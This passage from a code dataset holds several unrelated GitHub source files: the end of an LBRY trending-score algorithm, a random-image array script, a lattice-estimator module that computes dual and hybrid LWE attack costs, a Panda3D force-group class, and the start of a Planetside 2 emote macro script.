interval\nDECAY_PER_RENORM = DECAY**(RENORM_INTERVAL)\n\n# Log trending calculations?\nTRENDING_LOG = True\n\n\ndef install(connection):\n \"\"\"\n Install the trending algorithm.\n \"\"\"\n check_trending_values(connection)\n trending_data.initialise(connection.cursor())\n\n if TRENDING_LOG:\n f = open(\"trending_variable_decay.log\", \"a\")\n f.close()\n\n# Stub\nCREATE_TREND_TABLE = \"\"\n\ndef check_trending_values(connection):\n \"\"\"\n If the trending values appear to be based on the zscore algorithm,\n reset them. This will allow resyncing from a standard snapshot.\n \"\"\"\n c = connection.cursor()\n needs_reset = False\n for row in c.execute(\"SELECT COUNT(*) num FROM claim WHERE trending_global <> 0;\"):\n if row[0] != 0:\n needs_reset = True\n break\n\n if needs_reset:\n print(\"Resetting some columns. This might take a while...\", flush=True,\n end=\"\")\n c.execute(\"\"\" BEGIN;\n UPDATE claim SET trending_group = 0;\n UPDATE claim SET trending_mixed = 0;\n COMMIT;\"\"\")\n print(\"done.\")\n\n\n\n\ndef trending_log(s):\n \"\"\"\n Log a string to the log file\n \"\"\"\n if TRENDING_LOG:\n fout = open(\"trending_variable_decay.log\", \"a\")\n fout.write(s)\n fout.flush()\n fout.close()\n\n\ndef trending_unit(height):\n \"\"\"\n Return the trending score unit at a given height.\n \"\"\"\n # Round to the beginning of a SAVE_INTERVAL batch of blocks.\n _height = height - (height % SAVE_INTERVAL)\n return 1.0/DECAY**(height % RENORM_INTERVAL)\n\n\nclass TrendingDB:\n \"\"\"\n An in-memory database of trending scores\n \"\"\"\n\n def __init__(self):\n self.conn = apsw.Connection(\":memory:\")\n self.cursor = self.conn.cursor()\n self.initialised = False\n self.write_needed = set()\n\n def execute(self, query, *args, **kwargs):\n return self.cursor.execute(query, *args, **kwargs)\n\n def executemany(self, query, *args, **kwargs):\n return self.cursor.executemany(query, *args, **kwargs)\n\n def begin(self):\n self.execute(\"BEGIN;\")\n\n def commit(self):\n self.execute(\"COMMIT;\")\n\n def initialise(self, db):\n \"\"\"\n Pass in claims.db\n \"\"\"\n if self.initialised:\n return\n\n trending_log(\"Initialising trending database...\")\n\n # The need for speed\n self.execute(\"PRAGMA JOURNAL_MODE=OFF;\")\n self.execute(\"PRAGMA SYNCHRONOUS=0;\")\n\n self.begin()\n\n # Create the tables\n self.execute(\"\"\"\n CREATE TABLE IF NOT EXISTS claims\n (claim_hash BYTES PRIMARY KEY,\n lbc REAL NOT NULL DEFAULT 0.0,\n trending_score REAL NOT NULL DEFAULT 0.0)\n WITHOUT ROWID;\"\"\")\n\n self.execute(\"\"\"\n CREATE TABLE IF NOT EXISTS spikes\n (id INTEGER PRIMARY KEY,\n claim_hash BYTES NOT NULL,\n height INTEGER NOT NULL,\n mass REAL NOT NULL,\n FOREIGN KEY (claim_hash)\n REFERENCES claims (claim_hash));\"\"\")\n\n # Clear out any existing data\n self.execute(\"DELETE FROM claims;\")\n self.execute(\"DELETE FROM spikes;\")\n\n # Create indexes\n self.execute(\"CREATE INDEX idx1 ON spikes (claim_hash, height, mass);\")\n self.execute(\"CREATE INDEX idx2 ON spikes (claim_hash, height, mass DESC);\")\n self.execute(\"CREATE INDEX idx3 on claims (lbc DESC, claim_hash, trending_score);\")\n\n # Import data from claims.db\n for row in db.execute(\"\"\"\n SELECT claim_hash,\n 1E-8*(amount + support_amount) AS lbc,\n trending_mixed\n FROM claim;\n \"\"\"):\n self.execute(\"INSERT INTO claims VALUES (?, ?, ?);\", row)\n self.commit()\n\n self.initialised = True\n trending_log(\"done.\\n\")\n\n def apply_spikes(self, height):\n \"\"\"\n Apply spikes that are due. This occurs inside a transaction.\n \"\"\"\n\n spikes = []\n unit = trending_unit(height)\n for row in self.execute(\"\"\"\n SELECT SUM(mass), claim_hash FROM spikes\n WHERE height = ?\n GROUP BY claim_hash;\n \"\"\", (height, )):\n spikes.append((row[0]*unit, row[1]))\n self.write_needed.add(row[1])\n\n self.executemany(\"\"\"\n UPDATE claims\n SET trending_score = (trending_score + ?)\n WHERE claim_hash = ?;\n \"\"\", spikes)\n self.execute(\"DELETE FROM spikes WHERE height = ?;\", (height, ))\n\n\n def decay_whales(self, height):\n \"\"\"\n Occurs inside transaction.\n \"\"\"\n if height % SAVE_INTERVAL != 0:\n return\n\n unit = trending_unit(height)\n whales = self.execute(\"\"\"\n SELECT trending_score, lbc, claim_hash\n FROM claims\n WHERE lbc >= ?;\n \"\"\", (WHALE_THRESHOLD, )).fetchall()\n whales2 = []\n for whale in whales:\n tr, lbc, ch = whale\n\n # Overall multiplication factor for decay rate\n # At WHALE_THRESHOLD, this is 1\n # At 10*WHALE_THRESHOLD, it is 3\n decay_rate_factor = 1.0 + 2.0*math.log10(lbc/WHALE_THRESHOLD)\n\n # The -1 is because this is just the *extra* part being applied\n factor = (DECAY**SAVE_INTERVAL)**(decay_rate_factor - 1.0)\n\n # Decay\n tr *= factor\n whales2.append((tr, ch))\n self.write_needed.add(ch)\n\n self.executemany(\"UPDATE claims SET trending_score=? WHERE claim_hash=?;\",\n whales2)\n\n\n def renorm(self, height):\n \"\"\"\n Renormalise trending scores. Occurs inside a transaction.\n \"\"\"\n\n if height % RENORM_INTERVAL == 0:\n threshold = 1.0E-3/DECAY_PER_RENORM\n for row in self.execute(\"\"\"SELECT claim_hash FROM claims\n WHERE ABS(trending_score) >= ?;\"\"\",\n (threshold, )):\n self.write_needed.add(row[0])\n\n self.execute(\"\"\"UPDATE claims SET trending_score = ?*trending_score\n WHERE ABS(trending_score) >= ?;\"\"\",\n (DECAY_PER_RENORM, threshold))\n\n def write_to_claims_db(self, db, height):\n \"\"\"\n Write changed trending scores to claims.db.\n \"\"\"\n if height % SAVE_INTERVAL != 0:\n return\n\n rows = self.execute(f\"\"\"\n SELECT trending_score, claim_hash\n FROM claims\n WHERE claim_hash IN\n ({','.join('?' for _ in self.write_needed)});\n \"\"\", self.write_needed).fetchall()\n\n db.executemany(\"\"\"UPDATE claim SET trending_mixed = ?\n WHERE claim_hash = ?;\"\"\", rows);\n\n # Clear list of claims needing to be written to claims.db\n self.write_needed = set()\n\n\n def update(self, db, height, recalculate_claim_hashes):\n \"\"\"\n Update trending scores.\n Input is a cursor to claims.db, the block height, and the list of\n claims that changed.\n \"\"\"\n assert self.initialised\n\n self.begin()\n self.renorm(height)\n\n # Fetch changed/new claims from claims.db\n for row in db.execute(f\"\"\"\n SELECT claim_hash,\n 1E-8*(amount + support_amount) AS lbc\n FROM claim\n WHERE claim_hash IN\n ({','.join('?' for _ in recalculate_claim_hashes)});\n \"\"\", recalculate_claim_hashes):\n claim_hash, lbc = row\n\n # Insert into trending db if it does not exist\n self.execute(\"\"\"\n INSERT INTO claims (claim_hash)\n VALUES (?)\n ON CONFLICT (claim_hash) DO NOTHING;\"\"\",\n (claim_hash, ))\n\n # See if it was an LBC change\n old = self.execute(\"SELECT * FROM claims WHERE claim_hash=?;\",\n (claim_hash, )).fetchone()\n lbc_old, trending_old = old[1:3]\n\n # Save new LBC value into trending db\n self.execute(\"UPDATE claims SET lbc = ? WHERE claim_hash = ?;\",\n (lbc, claim_hash))\n\n if lbc > lbc_old:\n\n # Schedule a future spike\n delay = min(int((lbc + 1E-8)**0.4), HALF_LIFE)\n spike = (claim_hash, height + delay, spike_mass(lbc, lbc_old))\n self.execute(\"\"\"INSERT INTO spikes\n (claim_hash, height, mass)\n VALUES (?, ?, ?);\"\"\", spike)\n\n elif lbc < lbc_old:\n\n # Subtract from future spikes\n penalty = spike_mass(lbc_old, lbc)\n spikes = self.execute(\"\"\"\n SELECT * FROM spikes\n WHERE claim_hash = ?\n ORDER BY height ASC, mass DESC;\n \"\"\", (claim_hash, )).fetchall()\n for spike in spikes:\n spike_id, mass = spike[0], spike[3]\n\n if mass > penalty:\n # The entire penalty merely reduces this spike\n self.execute(\"UPDATE spikes SET mass=? WHERE id=?;\",\n (mass - penalty, spike_id))\n penalty = 0.0\n else:\n # Removing this spike entirely accounts for some (or\n # all) of the penalty, then move on to other spikes\n self.execute(\"DELETE FROM spikes WHERE id=?;\",\n (spike_id, ))\n penalty -= mass\n\n # If penalty remains, that's a negative spike to be applied\n # immediately.\n if penalty > 0.0:\n self.execute(\"\"\"\n INSERT INTO spikes (claim_hash, height, mass)\n VALUES (?, ?, ?);\"\"\",\n (claim_hash, height, -penalty))\n\n self.apply_spikes(height)\n self.decay_whales(height)\n self.commit()\n\n self.write_to_claims_db(db, height)\n\n\n\n\n\n# The \"global\" instance to work with\ntrending_data = TrendingDB()\n\ndef spike_mass(x, x_old):\n \"\"\"\n Compute the mass of a trending spike (normed - constant units).\n x_old = old LBC value\n x = new LBC value\n \"\"\"\n\n # Sign of trending spike\n sign = 1.0\n if x < x_old:\n sign = -1.0\n\n # Magnitude\n mag = abs(x**0.25 - x_old**0.25)\n\n # Minnow boost\n mag *= 1.0 + 2E4/(x + 100.0)**2\n\n return sign*mag\n\n\ndef run(db, height, final_height, recalculate_claim_hashes):\n if height < final_height - 5*HALF_LIFE:\n trending_log(f\"Skipping trending calculations at block {height}.\\n\")\n return\n\n start = time.time()\n trending_log(f\"Calculating variable_decay trending at block {height}.\\n\")\n trending_data.update(db, height, recalculate_claim_hashes)\n end = time.time()\n trending_log(f\"Trending operations took {end - start} seconds.\\n\\n\")\n\ndef test_trending():\n \"\"\"\n Quick trending test for claims with different support patterns.\n Actually use the run() function.\n \"\"\"\n\n # Create a fake \"claims.db\" for testing\n # pylint: disable=I1101\n dbc = apsw.Connection(\":memory:\")\n db = dbc.cursor()\n\n # Create table\n db.execute(\"\"\"\n BEGIN;\n CREATE TABLE claim (claim_hash TEXT PRIMARY KEY,\n amount REAL NOT NULL DEFAULT 0.0,\n support_amount REAL NOT NULL DEFAULT 0.0,\n trending_mixed REAL NOT NULL DEFAULT 0.0);\n COMMIT;\n \"\"\")\n\n # Initialise trending data before anything happens with the claims\n trending_data.initialise(db)\n\n # Insert initial states of claims\n everything = {\"huge_whale\": 0.01, \"medium_whale\": 0.01, \"small_whale\": 0.01,\n \"huge_whale_botted\": 0.01, \"minnow\": 0.01}\n\n def to_list_of_tuples(stuff):\n l = []\n for key in stuff:\n l.append((key, stuff[key]))\n return l\n\n db.executemany(\"\"\"\n INSERT INTO claim (claim_hash, amount) VALUES (?, 1E8*?);\n \"\"\", to_list_of_tuples(everything))\n\n # Process block zero\n height = 0\n run(db, height, height, everything.keys())\n\n # Save trajectories for plotting\n trajectories = {}\n for row in trending_data.execute(\"\"\"\n SELECT claim_hash, trending_score\n FROM claims;\n \"\"\"):\n trajectories[row[0]] = [row[1]/trending_unit(height)]\n\n # Main loop\n for height in range(1, 1000):\n\n # One-off supports\n if height == 1:\n everything[\"huge_whale\"] += 5E5\n everything[\"medium_whale\"] += 5E4\n everything[\"small_whale\"] += 5E3\n\n # Every block\n if height < 500:\n everything[\"huge_whale_botted\"] += 5E5/500\n everything[\"minnow\"] += 1\n\n # Remove supports\n if height == 500:\n for key in everything:\n everything[key] = 0.01\n\n # Whack into the db\n db.executemany(\"\"\"\n UPDATE claim SET amount = 1E8*? WHERE claim_hash = ?;\n \"\"\", [(y, x) for (x, y) in to_list_of_tuples(everything)])\n\n # Call run()\n run(db, height, height, everything.keys())\n\n # Append current trending scores to trajectories\n for row in db.execute(\"\"\"\n SELECT claim_hash, trending_mixed\n FROM claim;\n \"\"\"):\n trajectories[row[0]].append(row[1]/trending_unit(height))\n\n dbc.close()\n\n # pylint: disable=C0415\n import matplotlib.pyplot as plt\n for key in trajectories:\n plt.plot(trajectories[key], label=key)\n plt.legend()\n plt.show()\n\n\n\n\n\nif __name__ == \"__main__\":\n test_trending()\n\n\n\n","repo_name":"eggplantbren/lbry-trending-algos","sub_path":"variable_decay_rewrite.py","file_name":"variable_decay_rewrite.py","file_ext":"py","file_size_in_byte":15398,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"29"} +{"seq_id":"12728257494","text":"import numpy as np\nfrom itertools import product \nimport random\nimport math\n\ndef load_image(x,y):\n sz=[x,y]\n a = np.empty(shape=(sz[0],sz[1]), dtype=int)\n for ix in range(0, sz[0]):\n for iy in range(0, sz[1]):\n a[ix,iy] = random.randint(0,255)\n return a\n\ndef load_secret(x,y):\n sz=[x,y] # max 511 x 512\n a = np.empty(shape=(sz[0],sz[1]), dtype=int)\n for ix in range(0, sz[0]):\n for iy in range(0, sz[1]):\n a[ix,iy] = random.randint(0,255)\n return a\n\n\ndef img2bin(img):\n a = np.empty(shape=img.shape, dtype=int)\n for ix in range(0, img.shape[0]):\n for iy in range(0, img.shape[1]):\n a[ix,iy] = bin(img[ix,iy])[-1]\n return a\n\ndef findFactor(sec):\n t = sec.shape[0]*sec.shape[1]*8\n pairs=[0,0]\n res = 9999999999\n for i in range(1,t+1):\n if t % i == 0:\n x=i\n y=int(t/i)\n res_temp = abs(x-y)\n if(res_temp use 2 * beta as dummy d\n rho = red_cost_model.short_vectors(beta=beta, d=2 * beta)[0]\n\n params_slv, m_ = DualHybrid.dual_reduce(\n delta, params, zeta, h1, rho, t, log_level=log_level + 1\n )\n Logging.log(\"dual\", log_level + 1, f\"red LWE instance: {repr(params_slv)}\")\n\n if t:\n cost = DualHybrid.fft_solver(params_slv, success_probability, t)\n else:\n cost = solver(params_slv, success_probability)\n cost[\"beta\"] = beta\n\n if cost[\"rop\"] == oo or cost[\"m\"] == oo:\n return cost\n\n d = m_ + params.n - zeta\n _, cost_red, N, sieve_dim = red_cost_model.short_vectors(beta, d, cost[\"m\"])\n Logging.log(\"dual\", log_level + 2, f\"red: {Cost(rop=cost_red)!r}\")\n\n # Add the runtime cost of sieving in dimension `sieve_dim` possibly multiple times.\n cost[\"rop\"] += cost_red\n\n # Add the memory cost of storing the `N` dual vectors, using `sieve_dim` many coefficients\n # (mod q) to represent them. Note that short dual vectors may actually be described by less\n # bits because its coefficients are generally small, so this is really an upper bound here.\n cost[\"mem\"] += sieve_dim * N\n cost[\"m\"] = m_\n\n if d < params.n - zeta:\n raise RuntimeError(f\"{d} < {params.n - zeta}, {params.n}, {zeta}, {m_}\")\n cost[\"d\"] = d\n\n Logging.log(\"dual\", log_level, f\"{repr(cost)}\")\n\n rep = 1\n if params.Xs.is_sparse:\n h = params.Xs.get_hamming_weight(params.n)\n probability = RR(prob_drop(params.n, h, zeta, h1))\n rep = prob_amplify(success_probability, probability)\n # don't need more samples to re-run attack, since we may\n # just guess different components of the secret\n return cost.repeat(times=rep, select={\"m\": False})\n\n @staticmethod\n def fft_solver(params, success_probability, t=0):\n \"\"\"\n Estimate cost of solving LWE via the FFT distinguisher from [AC:GuoJoh21]_.\n\n :param params: LWE parameters\n :param success_probability: the targeted success probability\n :param t: the number of secret coordinates to guess mod 2.\n For t=0 this is similar to lwe_guess.ExhaustiveSearch.\n :return: A cost dictionary\n\n The returned cost dictionary has the following entries:\n\n - ``rop``: Total number of word operations (≈ CPU cycles).\n - ``mem``: memory requirement in integers mod q.\n - ``m``: Required number of samples to distinguish the correct solution with high probability.\n - ``t``: the number of secret coordinates to guess mod 2.\n\n .. note :: The parameter t only makes sense in the context of the dual attack,\n which is why this function is here and not in the lwe_guess module.\n \"\"\"\n\n # there are two stages: enumeration and distinguishing, so we split up the success_probability\n probability = sqrt(success_probability)\n\n try:\n size = params.Xs.support_size(n=params.n, fraction=probability)\n size_fft = 2**t\n except NotImplementedError:\n # not achieving required probability with search space\n # given our settings that means the search space is huge\n # so we approximate the cost with oo\n return Cost(rop=oo, mem=oo, m=1)\n\n sigma = params.Xe.stddev / params.q\n\n # Here, assume the Independence Heuristic, cf. [ia.cr/2023/302].\n # The minimal number of short dual vectors that is required to distinguish the correct\n # guess with probability at least `probability`:\n m_required = RR(\n 4\n * exp(4 * pi * pi * sigma * sigma)\n * (log(size_fft * size) - log(log(1 / probability)))\n )\n\n if params.m < m_required:\n raise InsufficientSamplesError(\n f\"Exhaustive search: Need {m_required} samples but only {params.m} available.\"\n )\n\n # Running a fast Walsh--Hadamard transform takes time proportional to t 2^t.\n runtime_cost = size * (t * size_fft)\n # Add the cost of updating the FFT tables for all of the enumeration targets.\n # Use \"Efficient Updating of the FFT Input\", [MATZOV, §5.4]:\n runtime_cost += size * (4 * m_required)\n\n # This is the number of entries the table should have. Note that it should support\n # (floating point) numbers in the range [-N, N], if ``N`` is the number of dual vectors.\n # However 32-bit floats are good enough in practice.\n memory_cost = size_fft\n\n return Cost(rop=runtime_cost, mem=memory_cost, m=m_required, t=t)\n\n @staticmethod\n def optimize_blocksize(\n solver,\n params: LWEParameters,\n zeta: int = 0,\n h1: int = 0,\n success_probability: float = 0.99,\n red_cost_model=red_cost_model_default,\n log_level=5,\n opt_step=8,\n fft=False,\n ):\n \"\"\"\n Optimizes the cost of the dual hybrid attack over the block size β.\n\n :param solver: Algorithm for solving the reduced instance\n :param params: LWE parameters\n :param zeta: Dimension ζ ≥ 0 of new LWE instance\n :param h1: Number of non-zero components of the secret of the new LWE instance\n :param success_probability: The success probability to target\n :param red_cost_model: How to cost lattice reduction\n :param opt_step: control robustness of optimizer\n :param fft: use the FFT distinguisher from [AC:GuoJoh21]_\n\n .. note :: This function assumes that the instance is normalized. ζ and h1 are fixed.\n\n \"\"\"\n\n f_t = partial(\n DualHybrid.cost,\n solver=solver,\n params=params,\n zeta=zeta,\n h1=h1,\n success_probability=success_probability,\n red_cost_model=red_cost_model,\n log_level=log_level,\n )\n\n if fft is True:\n\n def f(beta):\n with local_minimum(0, params.n - zeta) as it:\n for t in it:\n it.update(f_t(beta=beta, t=t))\n return it.y\n\n else:\n f = f_t\n\n # don't have a reliable upper bound for beta\n # we choose n - k arbitrarily and adjust later if\n # necessary\n beta_upper = min(max(params.n - zeta, 40), 1024)\n beta = beta_upper\n while beta == beta_upper:\n beta_upper *= 2\n with local_minimum(40, beta_upper, opt_step) as it:\n for beta in it:\n it.update(f(beta=beta))\n for beta in it.neighborhood:\n it.update(f(beta=beta))\n cost = it.y\n beta = cost[\"beta\"]\n\n cost[\"zeta\"] = zeta\n if params.Xs.is_sparse:\n cost[\"h1\"] = h1\n return cost\n\n def __call__(\n self,\n solver,\n params: LWEParameters,\n success_probability: float = 0.99,\n red_cost_model=red_cost_model_default,\n opt_step=8,\n log_level=1,\n fft=False,\n ):\n \"\"\"\n Optimizes the cost of the dual hybrid attack (using the given solver) over\n all attack parameters: block size β, splitting dimension ζ, and\n splitting weight h1 (in case the secret distribution is sparse). Since\n the cost function for the dual hybrid might only be convex in an approximate\n sense, the parameter ``opt_step`` allows to make the optimization procedure more\n robust against local irregularities (higher value) at the cost of a longer\n running time. In a nutshell, if the cost of the dual hybrid seems suspiciously\n high, try a larger ``opt_step`` (e.g. 4 or 8).\n\n :param solver: Algorithm for solving the reduced instance\n :param params: LWE parameters\n :param success_probability: The success probability to target\n :param red_cost_model: How to cost lattice reduction\n :param opt_step: control robustness of optimizer\n :param fft: use the FFT distinguisher from [AC:GuoJoh21]_. (ignored for sparse secrets)\n\n The returned cost dictionary has the following entries:\n\n - ``rop``: Total number of word operations (≈ CPU cycles).\n - ``mem``: Total amount of memory used by solver (in elements mod q).\n - ``red``: Number of word operations in lattice reduction.\n - ``β``: BKZ block size.\n - ``ζ``: Number of guessed coordinates.\n - ``h1``: Number of non-zero components among guessed coordinates (if secret distribution is sparse)\n - ``prob``: Probability of success in guessing.\n - ``repetitions``: How often we are required to repeat the attack.\n - ``d``: Lattice dimension.\n - ``t``: Number of secrets to guess mod 2 (only if ``fft`` is ``True``)\n\n - When ζ = 1 this function essentially estimates the dual attack.\n - When ζ > 1 and ``solver`` is ``exhaustive_search`` this function estimates\n the hybrid attack as given in [INDOCRYPT:EspJouKha20]_\n - When ζ > 1 and ``solver`` is ``mitm`` this function estimates the dual MITM\n hybrid attack roughly following [EPRINT:CHHS19]_\n\n EXAMPLES::\n\n >>> from estimator import *\n >>> params = LWE.Parameters(n=1024, q = 2**32, Xs=ND.Uniform(0,1), Xe=ND.DiscreteGaussian(3.0))\n >>> LWE.dual(params)\n rop: ≈2^107.0, mem: ≈2^66.4, m: 970, β: 264, d: 1994, ↻: 1, tag: dual\n >>> LWE.dual_hybrid(params)\n rop: ≈2^103.2, mem: ≈2^97.4, m: 937, β: 250, d: 1919, ↻: 1, ζ: 42, tag: dual_hybrid\n >>> LWE.dual_hybrid(params, mitm_optimization=True)\n rop: ≈2^130.1, mem: ≈2^127.0, m: 1144, k: 120, ↻: 1, β: 347, d: 2024, ζ: 144, tag: dual_mitm_hybrid\n >>> LWE.dual_hybrid(params, mitm_optimization=\"numerical\")\n rop: ≈2^129.0, m: 1145, k: 1, mem: ≈2^131.0, ↻: 1, β: 346, d: 2044, ζ: 125, tag: dual_mitm_hybrid\n\n >>> params = params.updated(Xs=ND.SparseTernary(params.n, 32))\n >>> LWE.dual(params)\n rop: ≈2^103.4, mem: ≈2^63.9, m: 904, β: 251, d: 1928, ↻: 1, tag: dual\n >>> LWE.dual_hybrid(params)\n rop: ≈2^92.1, mem: ≈2^78.2, m: 716, β: 170, d: 1464, ↻: 1989, ζ: 276, h1: 8, tag: dual_hybrid\n >>> LWE.dual_hybrid(params, mitm_optimization=True)\n rop: ≈2^98.2, mem: ≈2^78.6, m: 728, k: 292, ↻: ≈2^18.7, β: 180, d: 1267, ζ: 485, h1: 17, tag: ...\n\n >>> params = params.updated(Xs=ND.CenteredBinomial(8))\n >>> LWE.dual(params)\n rop: ≈2^114.5, mem: ≈2^71.8, m: 1103, β: 291, d: 2127, ↻: 1, tag: dual\n >>> LWE.dual_hybrid(params)\n rop: ≈2^113.6, mem: ≈2^103.5, m: 1096, β: 288, d: 2110, ↻: 1, ζ: 10, tag: dual_hybrid\n >>> LWE.dual_hybrid(params, mitm_optimization=True)\n rop: ≈2^155.5, mem: ≈2^146.2, m: 1414, k: 34, ↻: 1, β: 438, d: 2404, ζ: 34, tag: dual_mitm_hybrid\n\n >>> params = params.updated(Xs=ND.DiscreteGaussian(3.0))\n >>> LWE.dual(params)\n rop: ≈2^116.5, mem: ≈2^73.2, m: 1140, β: 298, d: 2164, ↻: 1, tag: dual\n >>> LWE.dual_hybrid(params)\n rop: ≈2^116.2, mem: ≈2^100.4, m: 1137, β: 297, d: 2155, ↻: 1, ζ: 6, tag: dual_hybrid\n >>> LWE.dual_hybrid(params, mitm_optimization=True)\n rop: ≈2^160.7, mem: ≈2^156.8, m: 1473, k: 25, ↻: 1, β: 456, d: 2472, ζ: 25, tag: dual_mitm_hybrid\n\n >>> LWE.dual_hybrid(schemes.NTRUHPS2048509Enc)\n rop: ≈2^131.7, mem: ≈2^128.5, m: 436, β: 358, d: 906, ↻: 1, ζ: 38, tag: dual_hybrid\n\n >>> LWE.dual(schemes.CHHS_4096_67)\n rop: ≈2^206.9, mem: ≈2^137.5, m: ≈2^11.8, β: 616, d: 7779, ↻: 1, tag: dual\n\n >>> LWE.dual_hybrid(schemes.Kyber512, red_cost_model=RC.GJ21, fft=True)\n rop: ≈2^149.8, mem: ≈2^92.1, m: 510, t: 76, β: 399, d: 1000, ↻: 1, ζ: 22, tag: dual_hybrid\n\n \"\"\"\n\n Cost.register_impermanent(\n rop=True,\n mem=False,\n red=True,\n beta=False,\n delta=False,\n m=True,\n d=False,\n zeta=False,\n t=False,\n )\n\n Logging.log(\"dual\", log_level, f\"costing LWE instance: {repr(params)}\")\n\n params = params.normalize()\n\n if params.Xs.is_sparse:\n Cost.register_impermanent(h1=False)\n\n def _optimize_blocksize(\n solver,\n params: LWEParameters,\n zeta: int = 0,\n success_probability: float = 0.99,\n red_cost_model=red_cost_model_default,\n log_level=None,\n fft=False,\n ):\n h = params.Xs.get_hamming_weight(params.n)\n h1_min = max(0, h - (params.n - zeta))\n h1_max = min(zeta, h)\n if h1_min == h1_max:\n h1_max = h1_min + 1\n Logging.log(\"dual\", log_level, f\"h1 ∈ [{h1_min},{h1_max}] (zeta={zeta})\")\n with local_minimum(h1_min, h1_max, log_level=log_level + 1) as it:\n for h1 in it:\n # ignoring fft on purpose for sparse secrets\n cost = self.optimize_blocksize(\n h1=h1,\n solver=solver,\n params=params,\n zeta=zeta,\n success_probability=success_probability,\n red_cost_model=red_cost_model,\n log_level=log_level + 2,\n )\n it.update(cost)\n return it.y\n\n else:\n _optimize_blocksize = self.optimize_blocksize\n\n f = partial(\n _optimize_blocksize,\n solver=solver,\n params=params,\n success_probability=success_probability,\n red_cost_model=red_cost_model,\n log_level=log_level + 1,\n fft=fft,\n )\n\n with local_minimum(1, params.n - 1, opt_step) as it:\n for zeta in it:\n it.update(f(zeta=zeta))\n for zeta in it.neighborhood:\n it.update(f(zeta=zeta))\n cost = it.y\n\n cost[\"problem\"] = params\n return cost.sanity_check()\n\n\nDH = DualHybrid()\n\n\ndef dual(\n params: LWEParameters,\n success_probability: float = 0.99,\n red_cost_model=red_cost_model_default,\n):\n \"\"\"\n Dual hybrid attack as in [PQCBook:MicReg09]_.\n\n :param params: LWE parameters.\n :param success_probability: The success probability to target.\n :param red_cost_model: How to cost lattice reduction.\n\n The returned cost dictionary has the following entries:\n\n - ``rop``: Total number of word operations (≈ CPU cycles).\n - ``mem``: Total amount of memory used by solver (in elements mod q).\n - ``red``: Number of word operations in lattice reduction.\n - ``δ``: Root-Hermite factor targeted by lattice reduction.\n - ``β``: BKZ block size.\n - ``prob``: Probability of success in guessing.\n - ``repetitions``: How often we are required to repeat the attack.\n - ``d``: Lattice dimension.\n\n \"\"\"\n Cost.register_impermanent(\n rop=True,\n mem=False,\n red=True,\n beta=False,\n delta=False,\n m=True,\n d=False,\n )\n\n ret = DH.optimize_blocksize(\n solver=distinguish,\n params=params,\n zeta=0,\n h1=0,\n success_probability=success_probability,\n red_cost_model=red_cost_model,\n log_level=1,\n )\n del ret[\"zeta\"]\n if \"h1\" in ret:\n del ret[\"h1\"]\n ret[\"tag\"] = \"dual\"\n return ret\n\n\ndef dual_hybrid(\n params: LWEParameters,\n success_probability: float = 0.99,\n red_cost_model=red_cost_model_default,\n mitm_optimization=False,\n opt_step=8,\n fft=False,\n):\n \"\"\"\n Dual hybrid attack from [INDOCRYPT:EspJouKha20]_.\n\n :param params: LWE parameters.\n :param success_probability: The success probability to target.\n :param red_cost_model: How to cost lattice reduction.\n :param mitm_optimization: One of \"analytical\" or \"numerical\". If ``True`` a default from the\n ``conf`` module is picked, ``False`` disables MITM.\n :param opt_step: Control robustness of optimizer.\n :param fft: use the FFT distinguisher from [AC:GuoJoh21]_. (ignored for sparse secrets)\n\n The returned cost dictionary has the following entries:\n\n - ``rop``: Total number of word operations (≈ CPU cycles).\n - ``mem``: Total amount of memory used by solver (in elements mod q).\n - ``red``: Number of word operations in lattice reduction.\n - ``δ``: Root-Hermite factor targeted by lattice reduction.\n - ``β``: BKZ block size.\n - ``ζ``: Number of guessed coordinates.\n - ``h1``: Number of non-zero components among guessed coordinates (if secret distribution is sparse)\n - ``prob``: Probability of success in guessing.\n - ``repetitions``: How often we are required to repeat the attack.\n - ``d``: Lattice dimension.\n - ``t``: Number of secrets to guess mod 2 (only if ``fft`` is ``True``)\n \"\"\"\n\n if mitm_optimization is True:\n mitm_optimization = mitm_opt_default\n\n if mitm_optimization:\n solver = partial(mitm, optimization=mitm_optimization)\n else:\n solver = exhaustive_search\n\n ret = DH(\n solver=solver,\n params=params,\n success_probability=success_probability,\n red_cost_model=red_cost_model,\n opt_step=opt_step,\n fft=fft,\n )\n if mitm_optimization:\n ret[\"tag\"] = \"dual_mitm_hybrid\"\n else:\n ret[\"tag\"] = \"dual_hybrid\"\n return ret\n","repo_name":"malb/lattice-estimator","sub_path":"estimator/lwe_dual.py","file_name":"lwe_dual.py","file_ext":"py","file_size_in_byte":23179,"program_lang":"python","lang":"en","doc_type":"code","stars":138,"dataset":"github-code","pt":"29"} +{"seq_id":"18778522108","text":"import ForceGroup\n\nclass GlobalForceGroup(ForceGroup.ForceGroup):\n\n def __init__(self, name = None):\n ForceGroup.ForceGroup.__init__(self, name)\n\n def addForce(self, force):\n ForceGroup.ForceGroup.addForce(force)\n if (force.isLinear() == 0):\n # Physics manager will need an angular integrator\n base.addAngularIntegrator()\n if (force.isLinear() == 1):\n physicsMgr.addLinearForce(force)\n else:\n physicsMgr.addAngularForce(force)\n\n def removeForce(self, force):\n ForceGroup.ForceGroup.removeForce(force)\n if (force.isLinear() == 1):\n physicsMgr.removeLinearForce(force)\n else:\n physicsMgr.removeAngularForce(force)\n","repo_name":"ToontownFan2003/RobotToonManager","sub_path":"direct/particles/GlobalForceGroup.py","file_name":"GlobalForceGroup.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"29"} +{"seq_id":"70354757517","text":"import asyncio\r\nimport sys\r\nimport auraxium\r\nfrom auraxium import ps2\r\nimport pyautogui\r\nfrom tkinter import *\r\n\r\n\r\n\r\ndef keyboard_v6():\r\n pyautogui.press('v')\r\n pyautogui.press(userInput.get())\r\n \r\nasync def api_query(player_name):\r\n print(f\"listen on player {player_name}'s killing\")\r\n client = auraxium.EventClient(service_id='enterserviceidhere')\r\n char = await client.get_by_name(ps2.Character, player_name)\r\n char_id = char.id\r\n print(f\"player {player_name}'s id {char_id}\")\r\n @client.trigger(auraxium.EventType.GAIN_EXPERIENCE)\r\n async def auto_v6(event):\r\n if event.payload[\"experience_id\"] == \"1\" and int(event.payload[\"character_id\"]) == char_id:\r\n print(f\"{player_name} just killed someone\")\r\n keyboard_v6()\r\n\r\n\r\nroot = Tk()\r\nuserInput = StringVar(root)\r\nroot.geometry(\"225x200\") \r\nroot.title(\"Auto V6\")\r\n\r\nl = Label(text = \"Keyboard Key Selection\") \r\nl.pack()\r\n\r\nuserInput.set(\"6\")\r\nw = 